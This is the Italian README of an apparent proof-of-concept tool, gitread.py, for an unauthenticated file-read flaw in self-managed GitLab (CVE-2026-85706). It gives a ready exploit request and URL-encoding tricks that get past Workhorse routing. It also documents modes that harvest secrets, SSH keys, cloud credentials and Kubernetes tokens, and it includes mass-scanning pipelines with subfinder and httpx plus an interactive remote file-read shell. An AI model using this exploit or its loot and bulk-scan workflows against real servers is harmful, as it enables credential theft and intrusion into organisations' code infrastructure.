
CVE-2026-85706 · Lettura di file non autenticata in GitLab CE/EE · PoC di ricerca con modalità oracle, enumerazione dei fd e targeting a livelli del loot
PoC per CVE-2026-85706, una lettura arbitraria di file non autenticata che interessa GitLab CE/EE self-managed.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Interessato | 18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1 |
| Corretto | 19.1.8 / 19.2.6 / 19.3.2 (rilasciato 2026-09-10) |
| Componente | Repository Commits API / Files API (Workhorse body-upload) |
| Segnalato da | s3ntago via GitLab HackerOne |
Tre endpoint delle API dei repository si trovano dietro il requestBodyUploader di Workhorse:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
L'handler Rails chiama File.open(params['file.path']) prima di authenticate!. Quattro condizioni rendono questo sfruttabile:
1. L'autenticazione scatta dopo la lettura del file.
require_gitlab_workhorse! controlla solo l'header JWT Gitlab-Workhorse-Api-Request. Workhorse appone quell'header su ogni richiesta che proxa, inclusi i semplici passthrough. Il vero authenticate! risiede dentro authorize_push_to_branch!, che viene eseguito dopo che file_params_from_body_upload ha già letto il file dal disco.
2. file.path proviene direttamente dalla richiesta.
file_params_from_body_upload legge params['file.path'] come percorso assoluto senza alcuna validazione. Nel flusso previsto Workhorse scrive l'upload in un file temporaneo e inietta da sé quel parametro. Un attaccante lo invia semplicemente in modo diretto come parametro di query string che punta a qualsiasi punto del filesystem.
3. Il route matching di Workhorse non decodifica mai il percent-encoding.
Workhorse confronta le route di upload con EscapedPath(), i byte grezzi dell'URL così come ricevuti. Puma decodifica le sequenze %XX prima di instradare verso Grape. Quindi codificare un carattere in un segmento statico fa sì che Workhorse salti la sua regola di rewrite mentre Rails instrada comunque verso l'handler vulnerabile:
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack rimanda il contenuto del file nella risposta di errore.
Con Content-Type: application/x-www-form-urlencoded, il contenuto del file viene passato a Rack::Utils.parse_nested_query. Qualsiasi % isolato non seguito da due cifre esadecimali solleva InvalidParameterError: invalid %-encoding (<content>). Tutto ciò che precede il primo & nel file viene rimandato nel body 400.
I file senza % isolati vengono comunque letti pre-auth. La risposta 401 dal ramo urlencoded e una 500 dal ramo multipart confermano entrambe che il file esiste ed è leggibile dall'utente git, rendendole utili come oracolo di esistenza.
Richiesta di exploit:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file legge qualsiasi singolo file; ricade automaticamente sull'oracolo se non c'è un trigger di echo--loot esegue 36 target su 7 tier, ordinati per probabilità confermata di trigger di echo--oracle esegue una sonda a doppio ramo (urlencoded + multipart) su file senza echo e ti dice se ciascuno è leggibile, mancante o non leggibile--proc enumera /proc/self/fd/0-31 per trovare file descriptor aperti, poi legge i target di recon standard in /proc--shell apre una shell interattiva di lettura file con i comandi cat, loot, oracle, project e curl--pipe legge i target da stdin e gestisce output di subfinder, testo httpx, JSON httpx, JSON nuclei e righe host grezze--list accetta un file di target uno per riga--threads per la scansione bulk concorrente--proxy instrada tutto attraverso Burp o mitmproxy--raw scrive byte grezzi su stdout senza decorazioni, utile per il piping verso un file--full esegue loot, oracle e proc in un'unica passata-opip install requests
python3 gitread.py -h
Richiede Python 3.10 o superiore. Nessun'altra dipendenza.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin viene rilevato automaticamente quando non è un TTY, quindi --pipe è opzionale nella maggior parte dei casi.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| Verdetto | Significato |
|---|---|
leak | Contenuto del file rimandato nel body 400, lettura confermata |
leak-frag | Echo parziale tramite errore di tipo del parametro |
read-noecho | Il file è stato letto pre-auth ma non ha % isolati quindi nulla è stato rimandato |
READABLE | Il ramo multipart ha restituito 500, il file esiste ed è leggibile dall'utente git |
missing | Il server ha detto che il file locale non è presente |
rewrite | Workhorse ha riscritto il body, questa forma di bypass è morta |
noroute | Rails 404, l'istanza è corretta o il percorso è sbagliato |
server-error | 500, il file esiste ma ha causato un errore di parsing |
| Tier | File | Echo |
|---|---|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Il contenuto trapela direttamente |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Solo oracolo, puro hex |
| 3 | .gitlab_workhorse_secret | Solo oracolo |
| 4 | Chiavi private SSH e authorized_keys | Solo oracolo |
| 5 | gitlab-shell.yml, gitaly.toml, configurazione PostgreSQL | Solo oracolo |
| 6 | Token dell'account di servizio Kubernetes, credenziali AWS | Solo oracolo |
| 7 | Hostname, hosts, passwd, os-release, environ | Solo oracolo |